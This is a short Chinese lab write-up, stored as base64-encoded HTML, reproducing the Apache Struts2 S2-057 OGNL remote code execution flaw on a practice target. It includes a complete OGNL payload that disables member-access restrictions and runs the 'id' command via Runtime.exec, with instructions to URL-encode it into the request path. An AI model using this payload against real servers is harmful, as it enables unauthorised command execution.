struts2 漏洞复现

PGRpdiBjbGFzcz0ibWFya2Rvd24tYm9keSBlZGl0b3JtZC1wcmV2aWV3LWNvbnRhaW5lciIgcHJldmlld2NvbnRhaW5lcj0idHJ1ZSIgc3R5bGU9InBhZGRpbmc6IDIwcHg7Ij48ZGl2IGNsYXNzPSJtYXJrZG93bi10b2MgZWRpdG9ybWQtbWFya2Rvd24tdG9jIj48dWwgY2xhc3M9Im1hcmtkb3duLXRvYy1saXN0Ij48bGk+PGEgY2xhc3M9InRvYy1sZXZlbC0yIiBocmVmPSIjMHgwMSAgICBzdHJ1dHMyIDA1NyBPR05M55qE6L+c56iL5Luj56CB5omn6KGM5ryP5rSeIiBsZXZlbD0iMiI+MHgwMSAgICBzdHJ1dHMyIDA1NyBPR05M55qE6L+c56iL5Luj56CB5omn6KGM5ryP5rSePC9hPjx1bD48L3VsPjwvbGk+PC91bD48L2Rpdj48aDIgaWQ9ImgyLTB4MDEtc3RydXRzMi0wNTctb2dubC0iPjxhIG5hbWU9IjB4MDEgICAgc3RydXRzMiAwNTcgT0dOTOeahOi/nOeoi+S7o+eggeaJp+ihjOa8j+a0niIgY2xhc3M9InJlZmVyZW5jZS1saW5rIj48L2E+PHNwYW4gY2xhc3M9ImhlYWRlci1saW5rIG9jdGljb24gb2N0aWNvbi1saW5rIj48L3NwYW4+MHgwMSAgICBzdHJ1dHMyIDA1NyBPR05M55qE6L+c56iL5Luj56CB5omn6KGM5ryP5rSePC9oMj48cD7miZPlvIDpobXpnaLvvIzmtYvor5VPR05M6KGo6L6+5byPJHsyNTAqMjUwfTo8L3A+CjxwcmUgY2xhc3M9InByZXR0eXByaW50IGxpbmVudW1zIHByZXR0eXByaW50ZWQiIHN0eWxlPSIiPjxvbCBjbGFzcz0ibGluZW51bXMiPjxsaSBjbGFzcz0iTDAiPjxjb2RlPjxzcGFuIGNsYXNzPSJwbG4iPmh0dHA8L3NwYW4+PHNwYW4gY2xhc3M9InB1biI+Ojwvc3Bhbj48c3BhbiBjbGFzcz0iY29tIj4vL1vpnbblnLp1cmxdL3Nob3djYXNlLyQlN0IyNTUqMjU1JTdEL2FjdGlvbkNoYWluMS5hY3Rpb248L3NwYW4+PC9jb2RlPjwvbGk+PC9vbD48L3ByZT48cD48aW1nIHNyYz0iaHR0cHM6Ly9uYzAuY2RuLnprYXEuY24vbWQvNjUwOC9kZDI3MTY5ZGRkNzMzZTUzMzM2NGFhZjQ5NWJkOWUxOF84NTk2NC5wbmciIGFsdD0iIj48L3A+CjxwPuWPr+ingeatpOaXtnsyNTB4MjUwfeeahOe7k+aenOW3sui/lOWbnuWIsGxvY2F0aW9u5aS05Lit44CCPGJyPuaOpeS4i+adpeS9v+eUqOadpeiHqjxhIGhyZWY9Imh0dHBzOi8vbXAud2VpeGluLnFxLmNvbS9zL2lCTHJyWEh2czdhZ1B5d1ZXN1RacmciPlMyLTA1N+WOn+eQhuWIhuaekOS4juWkjeeOsOi/h+eoi++8iFBPQ++8iTwvYT7nmoRQT0PmiafooYzlkb3ku6TvvJo8L3A+CjxwcmUgY2xhc3M9InByZXR0eXByaW50IGxpbmVudW1zIHByZXR0eXByaW50ZWQiIHN0eWxlPSIiPjxvbCBjbGFzcz0ibGluZW51bXMiPjxsaSBjbGFzcz0iTDAiPjxjb2RlPjxzcGFuIGNsYXNzPSJwbG4iPiQ8L3NwYW4+PHNwYW4gY2xhc3M9InB1biI+eygjPC9zcGFuPjxzcGFuIGNsYXNzPSJwbG4iPmRtPC9zcGFuPjxzcGFuIGNsYXNzPSJwdW4iPj08L3NwYW4+PHNwYW4gY2xhc3M9ImxpdCI+QG9nbmw8L3NwYW4+PHNwYW4gY2xhc3M9InB1biI+Ljwvc3Bhbj48c3BhbiBjbGFzcz0idHlwIj5PZ25sQ29udGV4dEBERUZBVUxUX01FTUJFUl9BQ0NFU1M8L3NwYW4+PHNwYW4gY2xhc3M9InB1biI+KS4oIzwvc3Bhbj48c3BhbiBjbGFzcz0icGxuIj5jdDwvc3Bhbj48c3BhbiBjbGFzcz0icHVuIj49Izwvc3Bhbj48c3BhbiBjbGFzcz0icGxuIj5yZXF1ZXN0PC9zcGFuPjxzcGFuIGNsYXNzPSJwdW4iPls8L3NwYW4+PHNwYW4gY2xhc3M9InN0ciI+J3N0cnV0cy52YWx1ZVN0YWNrJzwvc3Bhbj48c3BhbiBjbGFzcz0icHVuIj5dLjwvc3Bhbj48c3BhbiBjbGFzcz0icGxuIj5jb250ZXh0PC9zcGFuPjxzcGFuIGNsYXNzPSJwdW4iPikuKCM8L3NwYW4+PHNwYW4gY2xhc3M9InBsbiI+Y3I8L3NwYW4+PHNwYW4gY2xhc3M9InB1biI+PSM8L3NwYW4+PHNwYW4gY2xhc3M9InBsbiI+Y3Q8L3NwYW4+PHNwYW4gY2xhc3M9InB1biI+Wzwvc3Bhbj48c3BhbiBjbGFzcz0ic3RyIj4nY29tLm9wZW5zeW1waG9ueS54d29yazIuQWN0aW9uQ29udGV4dC5jb250YWluZXInPC9zcGFuPjxzcGFuIGNsYXNzPSJwdW4iPl0pLigjPC9zcGFuPjxzcGFuIGNsYXNzPSJwbG4iPm91PC9zcGFuPjxzcGFuIGNsYXNzPSJwdW4iPj0jPC9zcGFuPjxzcGFuIGNsYXNzPSJwbG4iPmNyPC9zcGFuPjxzcGFuIGNsYXNzPSJwdW4iPi48L3NwYW4+PHNwYW4gY2xhc3M9InBsbiI+Z2V0SW5zdGFuY2U8L3NwYW4+PHNwYW4gY2xhc3M9InB1biI+KDwvc3Bhbj48c3BhbiBjbGFzcz0ibGl0Ij5AY29tPC9zcGFuPjxzcGFuIGNsYXNzPSJwdW4iPi48L3NwYW4+PHNwYW4gY2xhc3M9InBsbiI+b3BlbnN5bXBob255PC9zcGFuPjxzcGFuIGNsYXNzPSJwdW4iPi48L3NwYW4+PHNwYW4gY2xhc3M9InBsbiI+eHdvcmsyPC9zcGFuPjxzcGFuIGNsYXNzPSJwdW4iPi48L3NwYW4+PHNwYW4gY2xhc3M9InBsbiI+b2dubDwvc3Bhbj48c3BhbiBjbGFzcz0icHVuIj4uPC9zcGFuPjxzcGFuIGNsYXNzPSJ0eXAiPk9nbmxVdGlsQGNsYXNzPC9zcGFuPjxzcGFuIGNsYXNzPSJwdW4iPikpLigjPC9zcGFuPjxzcGFuIGNsYXNzPSJwbG4iPm91PC9zcGFuPjxzcGFuIGNsYXNzPSJwdW4iPi48L3NwYW4+PHNwYW4gY2xhc3M9InBsbiI+Z2V0RXhjbHVkZWRQYWNrYWdlTmFtZXM8L3NwYW4+PHNwYW4gY2xhc3M9InB1biI+KCkuPC9zcGFuPjxzcGFuIGNsYXNzPSJwbG4iPmNsZWFyPC9zcGFuPjxzcGFuIGNsYXNzPSJwdW4iPigpKS4oIzwvc3Bhbj48c3BhbiBjbGFzcz0icGxuIj5vdTwvc3Bhbj48c3BhbiBjbGFzcz0icHVuIj4uPC9zcGFuPjxzcGFuIGNsYXNzPSJwbG4iPmdldEV4Y2x1ZGVkQ2xhc3Nlczwvc3Bhbj48c3BhbiBjbGFzcz0icHVuIj4oKS48L3NwYW4+PHNwYW4gY2xhc3M9InBsbiI+Y2xlYXI8L3NwYW4+PHNwYW4gY2xhc3M9InB1biI+KCkpLigjPC9zcGFuPjxzcGFuIGNsYXNzPSJwbG4iPmN0PC9zcGFuPjxzcGFuIGNsYXNzPSJwdW4iPi48L3NwYW4+PHNwYW4gY2xhc3M9InBsbiI+c2V0TWVtYmVyQWNjZXNzPC9zcGFuPjxzcGFuIGNsYXNzPSJwdW4iPigjPC9zcGFuPjxzcGFuIGNsYXNzPSJwbG4iPmRtPC9zcGFuPjxzcGFuIGNsYXNzPSJwdW4iPikpLigjPC9zcGFuPjxzcGFuIGNsYXNzPSJwbG4iPmE8L3NwYW4+PHNwYW4gY2xhc3M9InB1biI+PTwvc3Bhbj48c3BhbiBjbGFzcz0ibGl0Ij5AamF2YTwvc3Bhbj48c3BhbiBjbGFzcz0icHVuIj4uPC9zcGFuPjxzcGFuIGNsYXNzPSJwbG4iPmxhbmc8L3NwYW4+PHNwYW4gY2xhc3M9InB1biI+Ljwvc3Bhbj48c3BhbiBjbGFzcz0idHlwIj5SdW50aW1lQGdldFJ1bnRpbWU8L3NwYW4+PHNwYW4gY2xhc3M9InB1biI+KCkuPC9zcGFuPjxzcGFuIGNsYXNzPSJrd2QiPmV4ZWM8L3NwYW4+PHNwYW4gY2xhc3M9InB1biI+KDwvc3Bhbj48c3BhbiBjbGFzcz0ic3RyIj4naWQnPC9zcGFuPjxzcGFuIGNsYXNzPSJwdW4iPikpLig8L3NwYW4+PHNwYW4gY2xhc3M9ImxpdCI+QG9yZzwvc3Bhbj48c3BhbiBjbGFzcz0icHVuIj4uPC9zcGFuPjxzcGFuIGNsYXNzPSJwbG4iPmFwYWNoZTwvc3Bhbj48c3BhbiBjbGFzcz0icHVuIj4uPC9zcGFuPjxzcGFuIGNsYXNzPSJwbG4iPmNvbW1vbnM8L3NwYW4+PHNwYW4gY2xhc3M9InB1biI+Ljwvc3Bhbj48c3BhbiBjbGFzcz0icGxuIj5pbzwvc3Bhbj48c3BhbiBjbGFzcz0icHVuIj4uPC9zcGFuPjxzcGFuIGNsYXNzPSJ0eXAiPklPVXRpbHNAdG9TdHJpbmc8L3NwYW4+PHNwYW4gY2xhc3M9InB1biI+KCM8L3NwYW4+PHNwYW4gY2xhc3M9InBsbiI+YTwvc3Bhbj48c3BhbiBjbGFzcz0icHVuIj4uPC9zcGFuPjxzcGFuIGNsYXNzPSJwbG4iPmdldElucHV0U3RyZWFtPC9zcGFuPjxzcGFuIGNsYXNzPSJwdW4iPigpKSl9PC9zcGFuPjwvY29kZT48L2xpPjwvb2w+PC9wcmU+PHA+5Yir5b+Y5LqG5YWI6L+b6KGMdXJs57yW56CB5YaN5ou85o6l6L+bdXJs77yM5pyA5ZCO5Y+v5b6X5Yiw5oyH5LukaWTov5Tlm57nmoTkv6Hmga/vvJo8L3A+CjxwPjxpbWcgc3JjPSJodHRwczovL25jMC5jZG4uemthcS5jbi9tZC82NTA4LzU5OTQ0MzQ4YmI0OGQzMWU2NzljNjliNTc0YjllMTA0XzQ0MTk3LnBuZyIgYWx0PSIiPjwvcD4KPC9kaXY+